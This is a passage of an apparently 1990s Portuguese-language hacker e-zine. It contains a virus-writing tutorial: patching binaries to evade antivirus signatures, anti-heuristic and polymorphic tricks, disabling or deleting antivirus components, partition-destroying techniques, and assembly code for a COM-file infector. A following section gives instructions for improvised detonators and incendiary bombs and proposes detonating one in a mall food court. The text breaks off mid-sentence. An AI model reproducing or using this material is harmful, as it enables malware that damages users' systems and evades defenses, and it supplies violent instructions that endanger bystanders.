  nos primeiros 150 bytes do arquivo. Agora vamos supor qe voce tenha achado
  como assinatura algo do  tipo:

		      B8 92 19 B7 21 CD
  ** As assinaturas sao mais compridas, isso e apenas um exemplo...

  Volte ao debug, e digite:

  E 0100 b8 92 19 b7 21 cd  ; carrega
  U                         ; converte p/ assembly

		       mov  ax,1992h
		       mov  bx,21h
		       int  21h

  Entao  vc tem q alterar tal sequencia d forma a torna-la indetectavel.. i-
  inicialmente pode-se tentar algo como:

			mov bh,21h
			mov ax,1992h
			int 21h

  E provavel q o AV nao encontre mais o virus :P  Simples... supondo qe voce
  nao tenha o arquivo fonte do virus q esta manipulando, vc vai  ter q alte-
  rar isso direto no binario, da seguinte forma:

  DEBUG BITE.com       ; Arquivo com o virus.
  a 0122                ; Endereco de onde esta a string achada.

  Entao entre com as instrucoes:

			mov bh,21
			mov ax,1992h
			int 21h

  w                     ; Grava.
  q                     ; Sai.

  Scaneie o arquivo, se o  AV nao achou, entao voce conseguiu, do contrario,
  mude novamente isso c/ instrucoes diferentes q podem produzir o  mesmo re-
  sultado..
  Note q no caso d virus encriptados, o AV acha como assinatura apenas algum
  dos seus mecanismos d encriptacao, pois o resto do virus esta encritado...
  
				 . . . . . .  
  

  -=[ 5. Otimizacao do codigo virotico ]=- - - - - - - - - - - - - - - - - *

	Essa secao e dedicada a todos os escrevedores d virus q acham q ape-
  nas escrever um codigo e legal. Isso e lamer! Existem muitos virus por ai,
  mas poucos sao inteligentes... grande parte possuem bugs e nao irao se ex-
  palhar nenhum pouco.
  Aqui voce vai encontrar alguns truques para cagar nos produtos AV's e como
  fazer a vida deles ainda mais dificil he he.. tambem vai ver como e possi-
  vel reduzir o tamanho, melhorar a velocidade,  ou ate mesmo dar mais poder
  d atuacao ao seu virus.
  Talvez voce nao precise disso agora, mas quando for criar um virus grande,
  ou verdadeiramente  "bonito", com um codigo decente, com  certeza vai usar
  algo daqui.
	Muita coisa que eu vou falar aki e capaz que vc nao entenda, mas aos
  poucos, conforme o manual for sendo publicado voce ira se familiarizar com
  elas.
  
  1). Sempre q puder, substitua 'MOV' por 'LEA'. 
      - Isso serve basicamente para se economizar espaco.
      Ex: 
	  mov dx, offset Com_ext  (isso e ruim)
	  
	  lea dx, Com_ext         (isso e bom!)
 
  
  2). Quando for zerar DL, use algo decente.
      - Isso serve basicamente para se economizar espaco.
      Ex: 
	  XOR DL, DL  (isso e ruim ---> LAMER)
	   
	  CLD         (e bem mais rapido e menor)
	
  
  3). Reutilize funcoes.
      - Se voce quer que um virus faca mais de uma contaminacao, reutilize a
      mesmo funcao ao inves de digitar duas vezes a mesma rotina.
      Uma boa tatica quando um virus vai fazer apenas 2 infeccoes, e uzar um
      codigo simples como esse (oq eu acho genial) :

	  mov ah, 4Eh               ; Procurar por arquivo.
	  mov cx, 7                 ; Qualquer atributo.
	  mov dx, Com_ext           ; Mascara para arquivos .COM

  Loop_arq: int 21h                 ; Executa.

	  jc Sai                    ; Nao ha, sai.
	 
	  call Infecta              ; Infecta.
	  jne Sai                   ; Deu certo, sai.
	 
	  mov ah, 4Fh               ; Procurar por prox. arquivo.
	  jmp short Loop_arq        ; Faz processo de novo, e usa
				    ; novamente a  mesma  funcao.

  P.s.: Note qe nesse exemplo, se a contaminacao der errado e q ele vai pro-
  curar por outro arquivo, mas com  essa ideia em mente, vai ser facil fazer
  codigos rapidos e pequenos.

  
  4). Use o cerebro na passagem do handle de AX para BX.
      - Isso serve basicamente para se economizar espaco.
      Ex: 
	  Use 'XCHG BX, AX' ao inves de 'MOV....'
      Com o 'xchg', a passagem ocorre mais rapidamente e usa menos espaco.

  
  5). Ponha verificaoes de erro nos processos mais criticos como: contaminar
      arquivo, alterar atributo, abrir, ler bytes  do arquivos, escrever  em
      arquivo, desativar AV, ... Vc nunca  pode prever o que ira acontecer!!

  
  6). Nao pegue virus por  ai, e coloque seu  nome, use-o para criar codigos
      melhores e mais produtivos, ou novas variantes, mas simplesmente catar
      um codigo de virus, nem ver o que ele faz e so alterar o copyright, e'
      a coisa mais ridicula que alguem pode fazer.

  
  7.) Na procura de novos arquivos  a serem infectados muitas tecnicas podem
      ser usadas pelo virus, uma interessante bolada pelo Worm_root (digamos
      aperfeicoada, pois  tal tecnica ja existia he he) pode  ser usada, ela
      basicamente ira procurar novos diretorios, vc ascessa tais diretorios,
      ou seja, ao inves de  simplesmente procurar  por arquivos no diretorio
      corrente, ou no inferior (..), pode-se varrer os diretorios do cara em
      busca d novos arquivos.

  Inicio:
	  call Pega_DTA             ; Pega DTA recente em DX.
	  push dx                   ; Salva.
	  mov ah,1AH                ; Seta.
	  int 21H                   ;
	
	  mov ah, 04eh              ; Procurar pelo primeiro subdiretorio.
	  mov cx, 00010001b         ; Mascara do diretorio.
	  lea dx, maske_dir         ;
	  int 21h                   ;
	  jc Erro                   ; Erro, sai.

	  pop  bx                            ; Seta ponterio (DTA).
	  test BYTE PTR [bx+15H], 00010001b  ; E um diretorio?
	  jz Find_next                       ; Nao, ache outro.
	  cmp BYTE PTR [bx+1EH],'.'          ; E um cabecalho? ('.').
	  jne Real                           ; Nao, e um diretorio real!

  Pega_DTA:                         ;
	  mov     dx,OFFSET DTA2    ;
	  mov     al,2BH            ;
	  add     dx,ax             ; Retorna dx com o offset do DTA.
	  ret                       ;

  DTA2      db 56H dup (?)          ; DTA p/ procura de diretorios.
  maske_dir db "*",00               ; Mascara p/ procura de diretorios.

	
	Realmente interessante nao? E claro q o codigo esta chutado.. mas vc
  que o arrume.. se voce  achar algum outro  metodo interessante me avise :)
	
	Grande parte dos AV tem falhas de seguranca, de forma a melhorar seu 
  virus e dar  mais trabalho quando  alguem tentar estuda-lo, eu recomendo o
  seguinte:
     
  8.) Nao infecte programas com overlays internos, eles serao corrompidos ou
      nao mais  funcionaram apos a infeccao. Para checar isso, compare o ta-
      manho real do arquivo com o tamanho do codigo indicado no cabecalho do
      EXE(offset 2 e 4 + paragrafos do cabecalho). Tambem e interessante ve-
      rificar-se por 40h no offset 18h do cabecalho do EXE.

  9.) Sete um novo stack correto para arquivos EXE infectados. Nao use CS=SS
      mas sim SS=CS+1, e nao use outros valores estranhos do SP. P/ dificul-
      tar ainda mais a acao dos AV's, aumente o tamanho de paragrafos 'mini-
      mos' requeridos no cabecalho do EXE. Com issso, o pessoal dos AV's nao
      ira poder simplesmente comparar o arquivo p/ validar o arquivo limpo.
     
  10.) Estabeleca um  parametro minimo do tamanho de arquivos a serem infec-
       tados de  forma a dificultar o uso de arquivos bites no estudo de seu
       virus. Tente nao infectar arquivos menores q 5000 ou maiores qe 10000
       bytes. Tambem ignore arquivos q possuem data/hora recentes.

  11.) Nunca resete a INT 13h enquanto  estiver infectado arquivos, isso ira
       corromper seu HD super  rapido quando cache de disco estiver sendo u-
       tilizado.

  12.) Sete todos os registradores (AX-DX, SI/DI/BP) para 0 antes d retornar
       para o programa  hospedeiro. Isso ira  prevenir problemas  no caso de
       programas q usam parametros na linha d comando.

  13.) Sete  a INT 24h p/ [mov al, 3 / IRET ] enquanto estiver infectado ar-
       quivos. Isso ira suprimir possiveis erros quando infectando-se arqui-
       vos ou discos protegidos.

  14.) Zere os atributos do arquivo antes de infecta-lo, virus nao podem in-
       fectar READ-ONLY.. depois, volte os atributos originais do arquivo.
   
  15.) Use estruturas anti-heuristicas. Existem muitos AV atualmente q fazem
       pesquisa heuristica... O F-PROT fede, mas  o AVP e um  bom exemplo na
       deteccao de virus via heuristica.
       Varias rotinas tais como as abaixo sao facilmente detectdas por qual-
       quer AV. Evite coisas como:

       CMP [0],"Z"       (Procura pelo ultimo MCB)

       MOV [1],8         (Marca MCB como area do sistema)

       SUB [3],xxxx      (Corta MCB em xxx paragrafos)

       MOV AX,2521h      (Segura INT 21h)
       INT 21h

       MOV [84],xxxx     (Segura INT 21h diretamente)
       MOV [86],cs

       MOV AX,[413] /    (Modifica topo da memoria)
       MOV [413],AX

       CALL $+3          (Pega IP corrente)
       POP SI

       CMP [xxxx],"ZM"   (Checa por arquivos EXE)
       CMP AX,"ZM"

       CMP [xxxx],"XE"   (Checa por extensao COM/EXE)
       CMP [xxxx],"OC"

       MOV DI,100h       (Restaura cabecalho d um arquivo COM)
       MOVSW
       MOVSB

       MOV [100h],xxxx
       MOV [102h],yy

       MOV AX,100h       (Pula p/ inicio do IP do arquivo COM)
       PUSH AX
       RET

       MOV AX,100h
       JMP AX

       MOV AX,F592h      (Checa instalacao)
       INT 21h
       CMP AX,2343h

       
  16.) Use memoria  extra.. e simples  UMB, HMA ou  mesmo  memoria EMS. Veja
       i21h/5803h (DOS-UMB), i2Fh/4310h (XMS-UMB/HMA) e i67 (EMS).
       Note q quando resitende em HMA, vc pode apenas usar a INT 13 para ler
       e escrever. INT 21/3F e 40 nao iram funcionar.
       Ainda existem AV's q scanneiam apenas memorias acima d 640k. Nao mude
       o tamanho do ultimo MCB ou reduz o tamanha da memoria de topo. Muitos
       AV's ira detectar isso.
				 
  17.) Muitos virus infectam  arquivos do modo padrao.. modificam o header e
       colocam-se no fim do arquivo.. esse tipo de infeccao e facilmente cu-
       rada pelo  NAV, TBCLEAN, e outros... Vc pode por exemplo a tecncia do
       virus Commander que inseria pedacos de seu codigo em posicoes aleato-
       rias.. no entanto  isso faz com  que seja impossivel  usar-se stealth
       completo.
       Virus infectore de particoes tais como o Stoner.Empire.Monkey.B, ou o
       GoldBug, possuem metodos de  prevenir a removao atraves de um simples
       FDISK /MBR. Primeiro o virus deve possuir stealth d setores. O truque
       consiste-se em em apagar-se todos os dados da area d particao, exceto
       pelo codigo do virus e pela marca de boot em AA55h. Assim, se o virus
       nao estiver  ascessivel, o disco  torna-se inascessivel... Um simples
       FDISK /MBR e suficiente p/ foder-se todos os dados!!
       O virus One_Half possui outro metodo, ele encripta todo o HD.. um se-
       tor a cada vez q o sistema e reiniciado. Como ele uma uma chave alea-
       toria, todos os dados sao perdidos c o virus for excluido da particao
       s/ antes desencripta-la.

   18.) Nunca crie virus  que irao fazer uma infeccao rapida e irao foder 10
	arquivos d cada vez.. isso torna o sistema extremamente lento, e faz
	com q o virus seja facilmente pego. Virus infectores d apenas arqui-
	vos COM ou SYS nao irao longe.. isso e pura perda d codigo...
	E nunca de um upload de seu virus em alguma BBS de virus! Os AVs com
	certeza possuem contas nelas e seus virus ira cair nas maos deles em
	questao d tempo.

   19.) Pode-se facilmente  deletar os arquivos de  dados mais comuns usados
	pelos  AV's, tais como:
	
	CHKLIST.CPS, CHKLIST.TAV, CHKLIST.MS, \BOOT.CPS, \BOOT.TAV, IVB.NTZ,
	\AV.CRC, AVP.CRC, \BOOT.NTZ,  \PART.NTZ, SMARTCHK.CPS, ANTI-VIR.DAT,
	\NCDTREE\*.*, ...
       
       Na maioria das vezes o AV ira simplesmente recriar o arquivo s/ aler-
       tar o usuario.
       Deletar-se todo o anti-virus nao e uma boa ideia pois o usuario nota-
       ra isso facilmente. Existem virus qe atacam anti-virus especificos, e
       chegam mesmo a alterar os arquivos de configuracao ao inves d deleta-
       los.. dessa forma, nunca ira se detectar alguma alteracao realizada
       pelo virus pois o proprio anti-virus esta fodido...

   20.) Assim que  seu virus cair na mao do pessoal da AV, em alguns dias ou
       mesmo horas sera feita uma vacina... mesmo q nao seja possivel limpar
       os arquivos, eles irao bolar um metodo de rastrear seu virus na memo-
       ria... imagine o q seria se fosse possivel impedir o AV de scannear a
       memoria? He He.. e uma simples questao de se adicionar a opcao /NOMEM 
       ou equivalente na linha d comando do AV...
       Parametros sugeridos:
     
       F-PROT.EXE:         /NOMEM /COMPAT
       AVP.EXE             /M
       TBSCAN.EXE:         CO NM
       TBSETUP.EXE.        RM
       SCAN.EXE:           /NOMEM (/BOOT)
       AVSCAN.EXE:         /NM
       ANTIVIR.EXE:        /NM
       IVB.EXE:            /S or /V
       VSAFE.*             /D
       TSAFE.*             /D
       WIN.COM:            /D:F

       Se vc usar o 'CO' na linha d comando do TBSCAN, nao esqueca d direci-
       onar a tela de 'FILE SYSTEM: DOS' de volta para 'FILESYSTEM: OWN'.
  
  21.) E simples desativar-se o VSAFE:

       MOV AX,FA01h
       MOV DX,5945H
       INT 16h

       Mas, agora com a nova versao do CPAV e do TSAFE (TNT), tal rotina fi-
       cou inutil.. Um metodo melhor d desabilitar o TSAFE, TBDRIVER, SDRES,
       NAVTSR e outros.. e d seguir o TSR na memoria..
       TBDRIVER pode ser facilmente desabilitado  pois as veroes 6.2x e 6.3x
       apesar d novas, nao mudaram nada no TSR. A TBDRIVER-INT 21h e mais ou
       menos assim:
     
       EB 05        JMP Label_1
       EA xxxx yyyy JMP FAR PTR Old_Int21
       Label_1:

       Apenas mude o 5 para 0 e TBDRIVER esta  desabilitado. Chega de checks
       de memoria, de  controle de ascessos e scaneamento.. he he... O unico
       problema  que  encontramos e' como  encontrar  a  posicao  do  TSR  ?
       Bom, se o  usuario tiver carregado outros TSRs apos o TBDRIVER, a INT
       21h estara escondida.. que tal  correr  atras da INT 21 e checar-se o
       codigo  durante  essa pesquisa ? Isso funciona, ja foi demonstrado no
       Havoc! Se voce nao quer fazer isso, procure  entao no banco do MCB...
       Particoes  imunizadas  via TBUTIL, VSAFE/TSAFE e  NAVTSR tambem podem
       ser desativados da mesma forma.
     
       Como isso representa  muito codigo, pode-se  simplesmente chamar-se a
       i21/4b00 com um nome nao-existente ou s/ memora disponivel, apos ter-
       se seguradoa INT 21. TBMEM salva seu mapa atual d memoria e a lista d
       interrupcoes quando a i21/4B00 e chamada e comparada quando o progra-
       ma termina  com a i21/4C. A chamada falsa a i21/4B00 ira simplesmente
       forcar o TBMEM a "esquecer" de limpar  o ambiente e seu virus pode-se
       instalar sem maiores problemas.
     
       Outra solucao possivel e simplesmente para-se a instalacao e infeccao
       quando o virus perceber a presenva de  TSR's AV's na memoria. Isso e'
       simples, basta por exemplo procurar no banco  do MCB pela presenca de
       strings do tipo 'VSAFE', 'TBDRIVER', ...
       Os TSRs do TBAV pode ser detectados abrindo-se 'TBDRVXXX', 'TBDSKXXX'
       ou 'TBFILXXX'. Eles contem os nomes dos devices instalados, se voce
       puder abri-los, isso significa q os TSRs estao ativos!
 
  22.) Lento polimorfismo: geralmente um  virus ira mutar-se a cada nova in-
       feccao.. em Marco d 93 surgiu o virus Tremor.. em pouco tempo os AV's
       criaram uma vacina p/ ele, mas meses apos isso, F-PROT e TBSCAN ainda
       nao eram capazes d detectar variantes do Tremor. A razao e q o Tremor
       mutava-se extremamente devagar, se voce infecta-se varios arquivos em
       uma mesma data, as mutacoes nao iriam variar muito. Dai, meses apos,
       ehehe.. temos um mecanismo totalmente novo.
       Os AV's nao tem muito  tempo para testar  um unico virus, assim, eles
       muitas vezes perdem de compreender totalmente o  virus e tomam no cu!
     
       Mesmo tal  estrategia do Tremor pode ser  hoje burlada nos testes dos
       AV's, por isso temos eq ser criativos: o Tremor mutava-se baseando-se
       na data, mas que tal se o virus gerar um mecanismo apenas na primeira
       infeccao, e depois simplesmente parar... hmmmm.. a mutacao fica muito
       lenta mesmo..assim, os AV's teriam que reiniciar o  computador a cada 
       nova infeccao d forma a ver as variantes.. hehe... q tal cerca d 1000
       reboots?!? HAHAH

  23.) Construcao polimorfica: Uma ultima ideia p/ o pessoal realmente inte-
       ressado.. 99% dos kits de criacao de  virus de hoje em dia sao primi-
       tivos.. os melhores  possuem codigos polimorficos, mas geralmente sao
       fracos D+. Q tal ao inves d adicionar-se encriptacao polimorfica, fa-
       zer-se geracao de codigo polimorfica?!? O TBSCAN e o AVP simplesmente
       desencriptam o virus e procuram por assinaturas, mas imagine se o co-
       digo do virus se alterasse? He He hE..
       Ao inves d usar:

	 MOV     AH,4Eh
	 MOV     CX,37h
	 LEA     DX,[BP+xxxx]
	 INT     21h

       O virus ou o kit poderia fazer algo do tipo:
	 
	 MOV     CL,37h
	 MOV     AL,4Eh
	 XCHG    AL,AH
	 MOV     CH,0
	 MOV     DX,BP
	 ADD     DX,xxxx
	 INT     21h

       ou

	 SUB     CX,CX
	 OR      CL,37h
	 MOV     AH,1Eh
	 ADD     AH,30h
	 CWD
	 OR      DX,BP
	 SUB     DX,-xxxx
	 PUSHF
	 CALL    CS:DWORD PTR [Int_21]

       No caso d um gerador de virus, cada instrucao iria variar-se randomi-
       camente a cada vez que vc criasse um novo virus... no entanto, nao se
       deve  possuir  *NENHUM* codigo fixo, ou  a assinatura  ira  aparecer.
       Isso iria dificultar muito a  deteccao de seu virus, os pesquisadores
       AV teriam que rodar o seu gerado varias vezes de forma a procurar por
       novas variantes, e no caso de um  polimorfismo demorado, eles  talvez
       nunca encontrassem todas as possiveis mutacoes!
       A desencriptacao do codigo  nao iria ajudar, e seu virus nao precisa-
       ria de mais nenhuma  forma de prevencao  polimorfica! Ho Ho Ho... Av.
  
  24). Encriptacao  polimorfica e feita de forma a tornar a  deteccao de seu
       mais dificil, no entanto, grande parte dos mecanismos q realizam isso
       podem ser facilmente detectados via assinaturas.
       SMEG e DSCE sao interessantes... SMEG faz com qe o TBSCAN e o UVP di-
       minuam muito a sua  velocidade de procura, ja o DSCE produz um codigo
       que impede a pesquisa via heuristica.
       
       Existem varias coisas que voce pode e deve evitar, tais como nao usar
       muitos operandos simples como NOP, STI, CLI, CLC, .. Nao usar instru-
       coes qe nao sao criadas pelo TASM/MASM pois elas irao apenas setar um
       novo flag no TBSCAN(flag '@'); evitar principalmente estupidos trukes
       anti-debugers como OUT 21,AL ou manipulacao da INT 1/3.
       
       No caso de um virus encriptado, e possivel fazer com que o TBSCAN e o
       AVP simplesmente pare de desencriptar seu virus: faca varios niveis d
       encriptacao, evite usar codigos lineares (capriche nos jumps), use as
       opcoes 286/386 -> ok, isso  ativa o flag do TBSCAN, mas  nao se forem
       usadas no segundo nivel de desencriptacao.
       Tambem faca uso de chamadas i21h absurdas, que simplesmente nao farao
       nada, tais como AH=4D, 54h, .. O TBSCAN ira parar a desencriptacao se
       encontrar isso. Use cabecalhos falsos do PKLITE, DIET ou mesmo LZEXE.
       O TBSCAN ira apenas mostrar "Looking..." e nao ira abrir tal arquivo.


	Isso e apenas algo basico, existem muito mais ideias e truques a se-
  rem usados d forma a se produzir um bom virus. Vc q descubra...
       
				 . . . . . .  
	
  
  -=[ 6. Virus COM's ]=- - - - - - - - - - - - - - - - - - - - - - - - - - *


	Okz, apos termos tecnicos, merdas, e virus idiotas, esta na  hora de
  nos dedicarmos  a algo realmente interessante, virus de arquivos COM. Para
  entender isso, vc realmente precisa ter entendido o qe ja foi explicadao e
  ter um  conhecimento ainda  maior de assembly.. BUY A BOOK MOTHERFUCKER!!!
  Um p/ iniciantes que eu recomendo e o "Assembler" da Editora Erica.. e bem
  interessante.

  Para se contaminar arquivos COM's, e necessario antes  de mais nada, sacar
  seu funcionamento e como ele e carregado na memoria... isso ja foi expli-
  cado anteriormente, entao vamos pular.
  Como tambem ja foi explicado, o qe o virus faz e basicamente e basicamente
  alterar o arquivo hospedeiro (vitima) d forma a rodar-se antes dele. Quan-
  do a vitima e' executa, o  virus roda primeiro, e apos ter  terminado suas
  novas infeccoes e acoes malevolas (hehe), ele devolve novamente o controle
  ao hospedeiro, q ira rodar s/ perceber nada.
  Nos arquivos COM, isso pode-se ser feito basicamente da seguinte forma:
	
	Inicialmente o  virus ira abrir o arquivo COM, e salvar seus respec-
  tivos 3  primeiros bytes. Feito isso, no lugar desses 3 bytes, o virus ira
  colocar uma instrucao de JMP, que apontara para o final do arquivo, onde o
  virus ira se instalar. Note que isso e salvo no HD, assim, os 3 bytes ori-
  ginais do arquivo passam agora a ser o JMP q aponta para o virus.
  
  Assim, quando o  programa rodar, inicialmente pulara para o fim do arquivo
  q e onde o virus  esta instalado, depois que  o virus rodou, ele (o virus)
  voltara os 3 bytes originais do arquivo, e reseta tudo em 100h, fazendo c/
  q o programa inicie-se novamente.. dessa vez, o programa rodara com seus 3
  bytes originais e funciona normalmente. Note q essa sobre-posicao e  feita
  apenas em RAM assim, quando o programa terminar, tudo  volta ao normal, ou
  seja, os 3 primeiros bytes continuam sendo o JMP do virus.
  Para vc ter uma nocao melhor, imagine um arquivo COM normal como:
       
       1               2                    3
   __________ ____________________ __________________
  |          |                    |                  |
  |          |                    |                  |
  |__________|____________________|__________________|

  1 - Inicio do arquivo  COM
  2 - Meio
  3 - Fim
  
  Na maioria dos arquivos COM, eles sao rodados nessa ordem, 1, 2, 3. Quando
  um virus infectar um arquivo COM, ele ficara assim:

   1      3              4                 5                   2
   ___ ________ ____________________ __________________ _____________
  |   |        |                    |                  |             |
  |JMP|        |                    |                  |    VIRUS    |
  |___|________|____________________|__________________|_____________|

  Quando  terminar sua acao, o  virus sobrepoe os 3 bytes  originais no JMP,
  e devolve o controle ao programa COM. Assim, um virus inteligente, normal-
  mente executa as seguintes instrucoes:
    
	1). Acha um arquivo a infectar.
	2). Salva atributos do arquivo.
	3). Zera os atributos do arquivo.
	4). Abre p/ Read/Write.
	5). Salva data/hora originais.
	6). Verifica se ja esta infectado.. se estiver, vai pra 8.
	7). Salva os primeiros 3 bytes e coloca o JMP.
	8). Copia o resto do virus p/ o fim do arquivo.
	9). Fecha.
       10). Restaura data/hora/atributos.
       11). Volta controle p/ hospedeiro.
       12). Fim.
 
  Vamos verificar isso em termos de codigo.
 
 ;----------------------------------------------------------------------
 ; Essa rotina procura por arquivos COM
 ;----------------------------------------------------------------------
 Arq_com       db      "*.com",0
			     
	 mov ah, 4eh           ; Aponta p/ *.COM
	 mov dx, Arq_com       ; Mascara p/ COM.
	 mov cx, 7             ; Qualquer COM.
	 int 21h               ;

	 cmp ax, 12h           ; Achou?
	 je exit               ; Nao, exit...
	 jmp Contamina         ; Sim, contamina.
 
 ; Aki, ao inves de dar um exit, vc poderia fa-
 ; zer virus mudar de diretorio ou algo assim...

 Contamina:
	 mov di, [si+Arq]      ; DI aponta p/ nome do arquivo.
	 push si               ;
	 add si, Arq           ; SI aponta p/ nome do arquivo.

	 mov ax, offset 4300h  ; Pega atributos
	 mov dx, si            ; Nome do arquivo em DX.
	 int 21h               ;

	 mov Arq_attrib, cx    ; Salva atributos.

 Arq dw 0                      ; Aqui nos salvamos o nome do arquivo.

	 mov ax, offset 4301h      ; Setar atributo dos arquivos.
	 mov cx, offset 0fffeh     ; Seta atributos p/ normal.
	 mov dx, si                ; Nome do arquivo.
	 int 21h                   ;

	 mov ax, offset 3d02h      ; Abre arquivo Read/Write.
	 mov dx, si                ; Nome do arquivo em ASCIIZ.
	 int 21h                   ;

	 jnb ok                    ; Se abriu certo continua.
	 jmp Atributo_antigo       ; Deu pau? restaura atributos
				   ; antigos e termina.
 ok:
	 mov bx, ax                ;
	 mov ax, offset 5700h      ; Pega data/hora.
	 int 21h                   ;

	 mov Hora_velha,cx         ; Salva Hora original.
	 mov Data_velha,dx         ; Salva Data original.

 Hora_velha db 0                   ; Variaveis usadas
 Data_velha db 0                   ; p/ armazenamento.

 ; Vamos agora infectar o arquivo, mas antes, salva-se
 ; os primeiros 3 bytes em algum lugar do virus.

	 mov ah,3fh                ; Le arquivo.
	 mov cx,3                  ; Numero d bytes a ler.
	 mov dx, 3_bytes           ; Salva no buffer.
	 add dx,si                 ; Nome do arq.
	 int 21h                   ;

	 cmp ax,3                  ; Leu corretamente?
	 jnz Arruma                ; Nao, conserta o arquivo e sai.

 3_bytes     equ $                 ; Os 3 bytes do arquivo original.
	     int 20h               ; O virus tb esta infectado ;)
	     nop                   ;

 ; Move ponteiro p/ fim do arquivo

	 mov ax,offset 4202h        ;
	 mov cx,0                   ;
	 mov dx,0                   ;
	 int 21h                    ;
	 mov cx,ax                  ; DX:AX e o tamanho do arquivo.
	 sub ax,3                   ; Subtrai 3 por causa do ponteiro.

	 add  cx,offset c_len_y     ;
	 mov  di,si                 ;
	 sub di,offset c_len_x      ;
	 mov [di],cx                ; Modifica o 2 e 3 byte do programa.

 ; Escreve virus no arquivo.

	 mov ah,40h                 ;
	 mov cx, Vir_tam            ; Tamanho do virus.
	 mov dx,si                  ; Arquivo.
	 sub dx,offset Code_tam     ; Tamanho do codigo do virus.
	 int 21h                    ;

	 cmp ax,offset Vir_Tam      ; Escreveu todos os bytes?
	 jnz Arruma                 ; Nao, exita.

 ; Agora move-se o ponteiro p/ inicio do arquivo
 ; e sobre-escreve os 3 bytes com o JMP.

	 mov ax,offset 4200h        ;
	 mov cx,0                   ;
	 mov dx,0                   ;
	 int 21h                    ;
							  
	 mov ah,40h                 ; Escreve p/ o virus.
	 mov cx,3                   ; # de bytes a escrever.
	 mov dx,si                  ; Nome do arquivo.
	 add dx, Salto              ; Aponta p/ o JMP codificado.
	 int 21h

 Salto db 0e9h                      ; Esse e o JMP q sera colocado no come-
				    ; do arquivo hospedeiro.

 ; Restaura hora/data/atributos

 Arruma:
	 mov dx, Data_velha         ;
	 mov cx, Hora_velha         ;
	 and cx,offset 0ffe0h       ;
	 mov ax,offset 5701h        ;
	 int 21h                    ;

	 mov     ah,3eh             ;
	 int     21h                ; Fecha arquivo.


 ; Restaura atributos velhos.

 Atributos_velhos:
	 mov     ax,offset 4301h    ;
	 mov     cx, Velhos_atrib   ;
	 mov     dx,si              ;
	 int     21h                ;

 ;----------------------------- FiM -------------------------------------

	Esse codigo e baseado no original do ParaSite ][.. Tal codigo possui
  dezenas de checagens de erros, q podem ou nao serem retiradas conforme sua
  vontade. Lembre-se q COM pode ter no maximo 64k! E bom testar isso antes..
  Ainda a oq ser feito, restaurar-se os atributos e tal... mas esse zine nao
  tem o proposito de dar nada d mao beijada, rale a bunda e faca vc mesmo...
  nao queremos ver lames pegando isso e simplesmente compilando :P
				 
				 . . . . . .          
	
	Okz, por enquanto e so'.. na proxima MOS eu coloco mais uma parte do
  manual. Se vc nao  entendeu algo, leia isso de novo, mas nada de mails com
  perguntas estupidas.. se voce ao menos aprendeu algo novo entao esse texto
  ja conseguiu realizar o que eu tinha em mente quando o escrevi...
  Treine bastante p/ estar pronto pros proximos topicos. AT++

								 Wiz4rd

  NOTA: Um dos futuros projetos da MOS envolve temas viroticos, se voce
  se considera bom e esta interessado em participar, entre em contato..


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 22 -
 
			     -----------------
			     - Anarchy/Humor -
			     -----------------


	Ja estou d saco cheio d ver zines falando um monte d merda pra ligar
  de graca em orelhoes: ligar ao contrario, quebrar o cartao...
  Tudo mentira, nada disso funciona e me da nos nervos pegar estas dicas fu-
  radas, para que mentir?
  Aqui eu nao minto, todos os itens aqui descritos eu garanto que funcionam.
  E antes que eu esquea vamos ao velho aviso BABACA:

 "TODOS OS TRUQUES AQUi DESCRiTOS SAO APENAS PARA SATiSFAZER A CURiOSiDADE."
 iSSO NAO E UM iNSENTiVO AO TERRORiSMO! NAO QUERO LEVAR NiNGUEM A JOGAR TUDO
 OQ VCS APRENDEREM AKi NA POLiCiA E NO EXERCiTO, MAS QUE A VONTADE E' GRANDE
 iSSO E'.  =)

  Indice:

  1 - Detonadores
      .. Cigarro
      .. Controle Remoto
      ..  Digital
  2 - Explosivos, onde Comprar
  3 - Bombas 
      .. Coquetel Molotov I
      .. Coquetel Molotov II
      .. Granada com lata de Spray
      .. Explosoes, fazendo muito barulho
      .. Explosoes com muito fogo
      .. Incendiaria
  4 - Curiosidades, bala de 38 com tracejador
      .. Bala de 45 anti-blindagem
      .. Bala Incendiaria.


  1.- Detonadores

	Detonadores sao dispositivos usados para dar inicio a um processo de
  detonacao, e a sua principal funcao  gerar calor para isso.

  
  1.1.- Cigarro
	
	Comecarei com um detonador simples muito usado em bombas nas escolas
   um temporizador sem precisao de tempo (2 a 15 minutos).
  Como fazer um teste: Pegue um cigarro, corte o filtro e conecte-o ao pavio
  de uma bombinha acenda e espere ate a bombinha detonar.
	Pronto, agora e so fazer alguns testes para obter uma precisso maior
  desse detonador.

  
  1.2.- Controle Remoto

	Para este detonador voce ira comprar os seguintes itens:
  1 - Resistencia de ferro de solda
  2 - Um carrinho de controle remoto, o qual precisa ter o controle de velo-
      cidade (Acelerador).

	Inicie abrindo o carrinho sem quebra-lo, retire o  circuito e a base
  das pilhas, retire  tambem o motor. Abra a resistencia do ferro de solda e
  desenrole o fio que vem todo enrolado nele.
  Pegue 10 a 15 cm d fio de soldador e solde no lugar onde iria o motor, co-
  loque as pilhas e com o controle remoto acelere, o fio ira ficar incandes-
  cente. Isso e o suficiente para iniciar uma detonacao.

  Dica: Fedozao de controle remoto.
	Pegue metiocolin composto, e um pedaco d pano (uma faixa). Molhe bem
  o pano com metiocolim e deixe secar por 1 dia. Ze Mane, deixe secar fora d
  casa.
  Enrole o pano de maneira que forme um charuto. Enrole 30 cm de resistencia
  no charuto  e coloque o  controle. Coloque em uma lata de lixo na praca de
  alimentacao do shopping e va apertando e soltando o acelerador...  D+!
    
  
  1.3.- Digital

	Compre um relogio Digital, daqueles qe tocam musiquinhas, se tiver a
  marcha funebre combina c/ o nosso uso. Abra o relogio e localize os fios q
  saem para o falante.
  Compre nas casas de eletronica um transformador  chamado de ioshitani, ele
  e pequeno e usado para amplificar sinais elotricos.
	Conecte a entrada do transformador nos  fios do falante do relogio e
  na outra extremidade conecte o fio d soldador. Quando o relogio despertar, 
  criara uma pequena corrente eltrica que sera amplificada pelo transforma-
  dor, o qual deixara incandescente o fio do soldador.
  Este brinquedinho e otimo para bombas relogio.

 
  2.0.- Explosivos, onde comprar

	Polvora: Polvora e um otimo explosivo e de facil aquisisao. E facil-
	mente encontrado em casas d macumba...

	Gasolina: Nao e considerado  explosivo, mas explode  quando colocado
	sob pressao e temperatura elevada.

	Magnesio: Tambem nao e explosivo, e so um metal, mas na  presenca de
